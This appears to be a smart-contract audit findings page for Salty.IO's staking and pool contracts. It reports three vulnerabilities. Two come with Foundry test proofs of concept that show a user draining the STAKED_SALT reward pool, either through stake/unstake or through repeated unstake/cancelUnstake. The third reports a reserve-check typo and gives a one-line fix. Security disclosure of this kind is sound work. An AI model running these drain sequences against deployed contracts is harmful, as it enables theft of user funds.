Salty.IO - RootKit0xCE's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/Staking.sol#L41-L79

Vulnerability details

Impact

user can drain all salt tokens from STAKED_SALT pool in StakingRewards contract. since user.virtualRewards is 0 because when first user stake the totalShares[poolID] is 0 so if (existingTotalShares != 0) is true the user.virtualRewards remains 0.

  uint256 existingTotalShares = totalShares[poolID];
  if (existingTotalShares != 0) {
      uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares);
      user.virtualRewards += uint128(virtualRewardsToAdd);
      totalRewards[poolID] += uint128(virtualRewardsToAdd);
  }

Proof of Concept

i added this test in Staking.t.sol

    function init() public {
        // use DEPLOYER or initialDistribution as in Stake2 test.
        vm.startPrank(DEPLOYER);
	salt.approve(address(staking), type(uint256).max);
        
        AddedReward[] memory addedRewards = new AddedReward[](1);
        addedRewards[0] = AddedReward(PoolUtils.STAKED_SALT, 200000 ether);
        staking.addSALTRewards(addedRewards);
    }

    function testDrainAllTokens() public {
        init(); 

        // @notice: change alice salt balance in setUp() just for better understanding 
        // to see that alice drained all the tokens.
        // salt.transfer(alice, 10 ether);
        // vm.prank(alice);
        // salt.approve(address(staking), type(uint256).max);
        //
        uint256 amountToStake = 1 ether; 
        uint256 amountToUnstake = 1 ether; 

        assertEq(salt.balanceOf(address(alice)), 10 ether); 
        assertEq(salt.balanceOf(address(staking)), 200000 ether); 
        console.log("Alice balance before ::", salt.balanceOf(address(alice))); 
        console.log("Staked balance before::", salt.balanceOf(address(staking))); 

        vm.startPrank(alice);
        staking.stakeSALT(amountToStake);    // staking salt tokens.
        staking.unstake(amountToUnstake, 2); // unstake salt tokens.

        assertEq(salt.balanceOf(address(alice)), 9 ether + 200000 ether); 
        assertEq(salt.balanceOf(address(staking)), 1 ether); 
        console.log("Alice balance after ::", salt.balanceOf(address(alice))); 
        console.log("Staked balance after::", salt.balanceOf(address(staking))); 
    }

Tools Used

Recommended Mitigation Steps

• before any use addLiquidity totalShares[poolID] should not be 0.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/Staking.sol#L60-L97

Vulnerability details

Impact

user can steal tokens from STAKED_SALT pool and he get more tokens every time rewards added.
each time SALT tokens added into StakingRewards vai StakingRewards::addSALTRewards user will just unstake and then cancelUnstake to get more SALT tokens from the pool.

Proof of Concept

add this into Staking.t.sol

function testUserDrainTokensForFree() public {
        // setUp just for test:
        //
        // salt.transfer(alice, 500 ether);
        // vm.prank(alice);
        // salt.approve(address(staking), type(uint256).max);
        //
        // salt.transfer(bob, 1000 ether);
        // vm.prank(bob);
        // salt.approve(address(staking), type(uint256).max);
        //
        // salt.transfer(charlie, 10000 ether);
        // vm.prank(charlie);
        // salt.approve(address(staking), type(uint256).max);

        uint256 amountToStake = 500 ether; 
        uint256 amountToUnstake = 500 ether; 

        // staker 1. 
        vm.startPrank(bob);
        staking.stakeSALT(1000 ether);

        console.log("Alice balance before   ::", salt.balanceOf(address(alice))); 
        console.log("Stacking balance before::", salt.balanceOf(address(staking))); 

        // staker alice stake 500e18
        vm.startPrank(alice);
        staking.stakeSALT(amountToStake);

        // loop twice or more in this example we make charlie add rewards twice
        // but it could be charlie and someone else, and so on.
        // the more times addSALTRewards called the more alice gets free tokens.
        for (uint256 i; i < 3; i++) {
            vm.startPrank(charlie);
            AddedReward[] memory addedRewards = new AddedReward[](1);
            addedRewards[0] = AddedReward(PoolUtils.STAKED_SALT, 1000 ether);
            staking.addSALTRewards(addedRewards);

            vm.startPrank(alice); 
            uint256 unstakeID = staking.unstake(amountToUnstake, 2);
            staking.cancelUnstake(unstakeID);
        }

        console.log("Alice balance after   ::", salt.balanceOf(address(alice))); 
        console.log("Stacking balance after::", salt.balanceOf(address(staking))); 
  }

Tools Used

Manuel

Recommended Mitigation Steps

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L187

Vulnerability details

Impact

the impact of the bug is high. the issue is that simple mistake can destroy lot of funtions and manipulate the ratio of pools.

Proof of Concept

As we see this simple of error can cause a big issues.

1. This line of code setup reserve0/reserve1 as we see if reserve0 or reserve1 is 0 this become the initial token ratio. since it will be execute only the first time. but in Check reserve0/reserve1 the if statement checks only reserve0 twice and not reserve1 in this case the reserve1 could be 0. so next time wallet add liquidity this will be true setup reserve0/reserve1 so the new added Liquidity will manipulate the ratio of the pool.

2. also there is some funtions that will revert if reserve1 is less than PoolUtils.DUST

   • like this line of code
   • wrong calculation
   • wrong calculation

Tools Used

Recommended Mitigation Steps

-    require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
+    require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

Assessed type

Other